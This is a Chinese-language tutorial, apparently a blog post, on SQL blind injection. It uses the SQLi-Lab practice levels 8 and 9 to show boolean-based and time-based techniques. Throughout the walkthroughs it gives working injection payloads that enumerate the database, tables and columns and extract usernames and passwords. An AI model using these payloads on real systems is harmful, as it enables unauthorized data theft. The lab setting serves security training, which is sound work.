目录
SQL盲注概述:
SQL盲注实例
SQL盲注简介
在注入过程中 SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试 从而确定想要的到的答案,这个过程称为盲注
在盲注中,攻击者根据返回页面的不同来判断信息的正确性(可能是页面内容的不同,也有可能是响应时间不同)。一般情况下,盲注可以分为两类;
基于布尔的盲注;基于时间的盲注
基于布尔的盲注:
页面返回的结果只有两种(正常或者错误)。通过构造SQL判断语句,查看页面返回结果(True/False)来判断哪些SQL判断条件成立,从而获取到数据库中的数据。
基于时间的盲注:
页面的返回结果只有一种。使用具有延时功能的函数sleep,benchmark等,通过延时判断这些函数是否正常实行从而获取数据库的数据
盲注不确定性太高使用二分法提高效率
SQL盲注常用函数
if():条件判断语句
判断网站是否存在盲注的点 就要才要特殊的机制了 不能向正常方式的直接进行查询虽然能执行成功 但是没有任何回显 得不到查询的答案 导致不确定是否存在sql注入点 所以要使用条件语句 判断执行结果是否正确
left(str,length) 截取指定字符串的左边部分
length(str):返回字符串长度
substr(str,post,len),substring(str,post,len) 截取字符串指定长度的子串
ascli(str) ord(str) 返回字符串最左边字符的 ASCII值
cast(value as type)convert(value,type) 更换指定数据的类型
sleep(N) 延时函数
select benchmark(N,expr) 执行expr N次
基于布尔的盲注实例
目标靶机:SQLi-Lab的less-8
典型应用场景:web页面仅仅返回类似True或者False的两种结果
注入方式:进行SQL注入之后,根据页面返回的True或者是False来得到数据库中的相关信息
?id=1 有回显you are in
?id=1' 无回显
?id=1' and '1'='1 有回显you are in
?id=1' and '1'='2 无回显
?id=1' --+ 有回显you are in
我们可以做出一个规定 有you are in为语句正确 无显示为语句错误
通过以上判断该关为 GET字符型注入点
?id=1' union select 1,2,3 --+
成功执行显示you are in 但是看不到具体的值 无法将值回显出来 所以无法使用联合查询
所以要构造条件判断语句
判断数据库长度
?id=1' and length(database())>5 --+ 成功执行
?id=1' and length(database())>7 --+ 成功执行
?id=1' and length(database())>8 --+ 失败执行
?id=1' and length(database())=8 --+ 成功执行
通过and 构造 条件判断语句 判断数据库名的长度为8
判断数据库名
使用 substr()函数判断数据库名
?id=1' and (select substr(database(),1,1))='a' --+
?id=1' and (select substr(database(),1,1))='b' --+
....
?id=1' and (select substr(database(),1,1))='s' --+
逐个测试s为数据库第一个单词
?id=1' and (select substr(database(),2,1))='a' --+
?id=1' and (select substr(database(),2,1))='b' --+
....
?id=1' and (select substr(database(),2,1))='e' --+
逐个测试e为数据库第二个单词
依次类推求出数据库名 但是效率特别低
于是substr()联合ascii()使用二分法 求数据库名
?id=1' and ascii((select substr(database(),2,1))) >97 --+
?id=1' and ascii((select substr(database(),2,1))) >100 --+
采用二分法大大提高效率
求出数据库为security
判断数据库的所有表
?id=1' and ascii((select substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))) > 97 --+
limit,substr(),ascii联用使用二分法 逐个字母判断每张表 表名
插一句如果判断表/字段的长度 可以不使用length 修改substr第二个参数 也能发现长度大小
?id=1' and ascii((select substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),6,1))) > 0 --+
发现有张users表
判断user表的字段
?id=1' and ascii((select substr((select column_name from information_schema.columns where table_schema = 'security' and table_name='users' limit 0,1),1,1)))>97 --+
limit,substr(),ascii联用使用二分法 逐个字母判断users表字段名
有 id,usernaem,password三个字段
判断每个字段的值
目前已知数据库名 表名 以及字段名
?id=1' and ascii((select substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))) > 0 --+
逐个判断字段值
基于时间的盲注实例
目标靶机:SQLi-Lab的less-9
典型应用场景:web页面只有一种返回结果
注入方式:利用插入的SQL语句造成时间延迟,若延迟函数被成功执行(页面反应时间增加),则所查询的信息正确
前提已经知道了 为GET字符型注入
?id=1
?id=1'
无论sql语句正确或者错误 返回结果都是一样的
于是采用if条件语句与时间函数进行联用
判断数据库长度
?id=1' and if(length(database())=7,sleep(2),1) --+ 无延时
?id=1' and if(length(database())=8,sleep(2),1) --+ 有延时
执行语句后 页面加载时间明显变长
去掉注释 执行无延迟 也能判断出这是字符型注入
?id=1' and if(length(database())=8,sleep(2),1)
重复测试得到长度为8
判断数据库名
使用ascii,substr,sleep,if 联用 使用二分法进行逐个字母判断
?id=1' and if((ascii(substr(database(),1,1))) > 0,sleep(2),1) --+ 有延时
重复测试得出数据库名为security
判断数据库security的表名
使用ascii,substr,sleep,if limit 联用 使用二分法逐个字母判断
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))) >0 ,sleep(2),1) --+ 有延时
和上面区别就是 substr前加了select 一个意思
?id=1' and if((ascii((select substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))) >0 ,sleep(2),1) --+ 有延时
重复测试得出多个表 选取users表进行下一步
判断users表内字段名
同上方法
?id=1' and if((ascii((select substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))) >0 ,sleep(2),1) --+ 有延时
重复测试得到 id,username,password三个字段
判断字段的值
?id=1' and if((ascii((select substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1)))) >0 ,sleep(2),1) --+ 有延时
重复测试得到字段值